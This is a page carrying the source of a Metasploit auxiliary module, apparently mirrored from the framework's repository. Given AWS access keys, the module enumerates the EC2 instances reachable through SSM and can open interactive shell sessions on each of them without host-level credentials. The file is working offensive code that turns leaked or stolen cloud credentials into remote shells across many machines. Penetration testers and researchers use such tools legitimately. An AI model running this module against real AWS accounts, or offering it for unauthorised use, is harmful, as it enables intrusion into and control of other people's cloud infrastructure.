Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/cloud/aws/enum_ssm.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'aws-sdk-ssm'6require 'aws-sdk-ec2'78class MetasploitModule < Msf::Auxiliary9include Rex::Proto::Http::WebSocket::AmazonSsm10include Msf::Auxiliary::Report11include Msf::Auxiliary::CommandShell12include Msf::Sessions::CreateSessionOptions13include Msf::Auxiliary::ReportSummary1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Amazon Web Services EC2 SSM enumeration',20'Description' => %q{21Provided AWS credentials, this module will call the authenticated22API of Amazon Web Services to list all SSM-enabled EC2 instances23accessible to the account. Once enumerated as SSM-enabled, the24instances can be controlled using out-of-band WebSocket sessions25provided by the AWS API (nominally, privileged out of the box).26This module provides not only the API enumeration identifying EC227instances accessible via SSM with given credentials, but enables28session initiation for all identified targets (without requiring29target-level credentials) using the CreateSession datastore option.30The module also provides an EC2 ID filter and a limiting throttle31to prevent session stampedes or expensive messes.32},33'Author' => [34'RageLtMan <rageltman[at]sempervictus>'35],36'References' => [['URL', 'https://www.sempervictus.com/single-post/once-upon-a-cloudy-air-i-crossed-a-gap-which-wasn-t-there']],37'License' => MSF_LICENSE,38'DefaultOptions' => { 'CreateSession' => false },39'Notes' => {40'SideEffects' => [IOC_IN_LOGS],41'Reliability' => [],42'Stability' => [CRASH_SAFE]43}44)45)4647register_options(48[49OptInt.new('LIMIT', [false, 'Only return the specified number of results from each region']),50OptString.new('FILTER_EC2_ID', [false, 'Look for specific EC2 instance ID']),51OptString.new('REGION', [true, 'AWS Region (e.g. "us-west-2")']),52OptString.new('ACCESS_KEY_ID', [true, 'AWS Access Key ID (eg. "AKIAXXXXXXXXXXXXXXXX")', '']),53OptString.new('SECRET_ACCESS_KEY', [true, 'AWS Secret Access Key (eg. "CA1+XXXXXXXXXXXXXXXXXXXXXX6aYDHHCBuLuV79")', ''])54]55)56end5758def handle_aws_errors(error)59if error.class.module_parents.include?(Aws)60fail_with(Failure::UnexpectedReply, error.message)61else62raise error63end64end6566def run67credentials = ::Aws::Credentials.new(datastore['ACCESS_KEY_ID'], datastore['SECRET_ACCESS_KEY'])68vprint_status "Checking #{datastore['REGION']}..."69client = ::Aws::SSM::Client.new(70region: datastore['REGION'],71credentials: credentials72)73inv_params = {74filters: [75{76key: 'AWS:InstanceInformation.InstanceStatus',77values: ['Terminated'],78type: 'NotEqual'79},80{81key: 'AWS:InstanceInformation.ResourceType',82values: ['EC2Instance'],83type: 'Equal'84}85]86}8788if datastore['FILTER_EC2_ID']89inv_params[:filters] << {90key: 'AWS:InstanceInformation.InstanceId',91values: [datastore['FILTER_EC2_ID']],92type: 'Equal'93}94end9596inv_params[:max_results] = datastore['LIMIT'] if datastore['LIMIT']9798ssm_ec2 = client.get_inventory(inv_params).entities.map { |e| e.data['AWS:InstanceInformation'].content }.flatten99ssm_ec2.each do |ssm_host|100report_host(101host: ssm_host['IpAddress'],102os_flavor: ssm_host['PlatformName'],103os_name: ssm_host['PlatformType'],104os_sp: ssm_host['PlatformVersion'],105name: ssm_host['ComputerName'],106comments: "ec2-id: #{ssm_host['InstanceId']}"107)108report_note(109host: ssm_host['IpAddress'],110type: ssm_host['AgentType'],111data: ssm_host['AgentVersion']112)113vprint_good("Found AWS SSM host #{ssm_host['InstanceId']} (#{ssm_host['ComputerName']}) - #{ssm_host['IpAddress']}")114next unless datastore['CreateSession']115116socket = get_ssm_socket(client, ssm_host['InstanceId'])117sess = Msf::Sessions::AwsSsmCommandShellBind.new(socket.lsock, { datastore: datastore, aws_ssm_host_info: ssm_host })118119start_session(self, sess.info, datastore, false, socket.lsock, sess)120end121rescue Seahorse::Client::NetworkingError => e122print_error e.message123print_error "Confirm access to #{datastore['REGION']} with provided credentials"124rescue StandardError => e125handle_aws_errors(e)126end127128def get_ssm_socket(client, ec2_id)129# Verify the connection params and availability of instance130inv_params = {131filters: [132{133key: 'AWS:InstanceInformation.InstanceId',134values: [ec2_id],135type: 'Equal'136}137]138}139inventory = client.get_inventory(inv_params)140# Extract peer info141if inventory.entities[0] && (inventory.entities[0].id == ec2_id)142peer_info = inventory.entities[0].data['AWS:InstanceInformation'].content[0]143else144raise 'SSM target not found'145end146session_init = client.start_session({147target: ec2_id,148document_name: 'SSM-SessionManagerRunShell'149# AWS-RunShellScript, AWS-RunPowerShellScript, etc150})151ssm_sock = connect_ssm_ws(session_init)152chan = ssm_sock.to_ssm_channel153chan.params.comm = Rex::Socket::Comm::Local unless chan.params.comm154chan.params.peerhost = peer_info['IpAddress']155chan.params.peerport = 0156chan.params.peerhostname = peer_info['ComputerName']157chan._start_ssm_keepalive158chan.update_term_size159return chan160end161end162163164